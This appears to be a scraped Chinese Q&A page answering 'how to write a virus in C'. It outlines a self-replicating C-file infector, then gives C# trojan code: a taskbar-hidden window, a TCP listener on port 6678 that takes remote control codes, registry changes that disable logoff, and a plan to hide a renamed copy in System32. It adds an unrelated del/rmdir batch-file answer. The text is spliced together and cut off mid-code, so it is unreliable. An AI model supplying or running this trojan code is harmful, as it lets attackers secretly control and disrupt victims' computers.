1.怎么用C语言写个简单病毒,给个代码过程
首先声明: 本程序是我举的一个例子 为了叫大家理解就可以了 如果大家拿去捉弄人,我不负任何责任! 希望大家要以学习为重! 对于病毒我们应该是深恶痛绝的,但是作为纯研究许多人还是很有兴趣的 我曾经用汇编做过一些具有毁灭性的病毒,本想献出来与大家分享 不过考虑到一些小人看了会做出来一些危害别人的行为,所以我决定 用这个简单的并毫无伤害性的c语言伪病毒来说明一下问题, 再次声明这一切全是为了编程研究!!! 病毒的特点: 病毒的最大特点就是自我复制,从病毒的分类来说有很多种,这里我们将介绍最流行的附加式 病毒,它通过对正常的文件进行改写,增加来实现其自我复制的目的。
从程序的角度来说,我们要做的事情有两件: 1,让程序能够将自己在不影响其它程序本身工作的情况下复制给其它程序, 使它具备继续复制的能力。 2,在一定条件下使其产生某种发作效果。
其实第一件事情实际上可以看成对文件进行复制,把病毒源文件的功能函数全部放到被感染 文件的最后,同时在被感染文件中调用这个函数 下面给出c语言的实现过程: 1,主程序调用病毒功能函数 2,病毒功能函数读取查找同目录下所有c文件; 3,找到一个(被感染c文件),打开它,并且将此文件全部读取到数组变量; 4,重新创建一个同名文件(被感染c文件) 5,数组变量写回这个被感染c文件,同时将病毒源文件所需要的头文件,病毒功能函数 调用语句写入; 6,打开病毒源文件,将病毒功能函数全部写到被感染c文件的最后; 这样一个简单的c语言伪病毒virus.c就完成了 运行程序后其内容变化另保存为after_virus.c 此时,如果我们将1.c文件用A盘复制到其他机器或者Email给别人,结果 他们一运行又感染了他们保存1.c文件目录下所有c文件 对于第二件事情-------“发作效果”,这里只用printf语句警告了一下,当然你 完全可以写一个TSR驻留函数 其实,这个程序勉强可以叫做病毒 根本不算是真正的病毒,好了就说这么多, 代码如下: #include 要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍: 1、在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。 当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:private void InitializeComponent(){// // Form1// //窗体显示的起点和大小this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);this.ClientSize = new System.Drawing.Size(368, 357);//窗体名称this.Name = "Form1";//设置属性让它后台运行this.ShowInTaskbar = false;this.Text = "Form1";this.WindowState = System.Windows.Forms.FormWindowState.Minimized;} 2、控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:public Form1() //窗体的构造函数{//// Windows 窗体设计器支持所必需的//InitializeComponent();//// TODO: 在 InitializeComponent 调用后添加任何构造函数代码//加入你的侦听代码//端口你可以自已设定,我使用了固定的端口int port =6678;//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的listener = new TcpListener(port);//启动侦听listener.Start();//增加接收控制码的线程,如果要停止线程可以用 Thread.abort()//reControlCode 是线程启动执行的函数,此函数根据接收的控制//控制码选取合适的注册表修改函数Thread thread = new Thread(new ThreadStart(reControlCode));thread.Start();}reControlCode函数如下,完整代码见程序private void reControlCode(){//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求socket = listener.AcceptSocket();//如果连接成功执行while (socket.Connected){//接收控制码byte [] by =new byte[6];int i = socket.Receive(by,by.Length ,0);string ss = System.Text.Encoding.ASCII.GetString(by);//根据控制码执行不同的功能 //修改注册表加入编码switch (ss){case "jiance"://测试连接,返回测试信息string str ="hjc";byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);socket.Send(bytee,0,bytee.Length,0);break;case "zx1000"://修改注册表函数,自已定义,见下面分析 UnLogOff();//返回控制消息retMessage();break;case "zx0100"://修改注册表函数UnClose();//返回控制消息retMessage();break;//重复的case功能与前面一样,略掉default: break;}//case}//while} //private void reControlCode 3、C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。 这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer下面设键值NoLogOff 为 1 即可使计算机无法注销。 在下面的函数中用C#实现对注册表的修改:private void UnLogOff(){//得到主机的注册表的顶级节点Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;//设置一个注册表子键的变量RegistryKey key1;try{//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键//registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改key1 =rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);//设置子键的键名,和值key1.SetValue ("NoLogOff",1);//关闭打开的子键key1.Close();//警告字符串设定mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";}catch{}//如果不存在自已建立if(key1 ==null){try{//使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");key2.SetValue("NoLogOff",1);key2.Close();mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";}catch{}}} 4、在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。 转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C:\\winnnt\\system\\msdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。 这里我们使用了System.IO.File类。private void 。 这是一个比较简单的 ,勉强算是病毒代码。 #include impossble 一楼说的恩恩 另外 如果你的意思是强制清除 某个文件 (大概应该是问这个吧) 那么 命令行确实可以 直接删除某个文件 (就是认为是病毒的文件。是这个意思吧 呵呵 )…… del命令参数说明 /F 强制删除只读文件。 /S 从所有子目录删除指定文件。 /Q 安静模式。删除全局通配符时,不要求确认。 /A 根据属性选择要删除的文件。 RMDIR [/S] [/Q] [drive:]path RD [/S] [/Q] [drive:]path /S 除目录本身外,还将删除指定目录下的所有文件。用于删除目录树。 /Q 安静模式,带 /S 删除目录树时不要求确认 ----PS: 送大家一个批处理 将下面的文件保存为 将畸形文件托到我上面.bat DEL /F /A /Q 使用的时候可以直接将要删除的文件或文件夹,放到这个bat文件上就可以了 ————————————————————————————————————————— 【另外】 你看看上面的网址 是不是 你说的那个意思 呵呵 ^_^ O(∩_∩)O哈哈~2.C语言后台病毒程序的代码怎么写
3.病毒代码
4.用命令怎么写清除病毒代码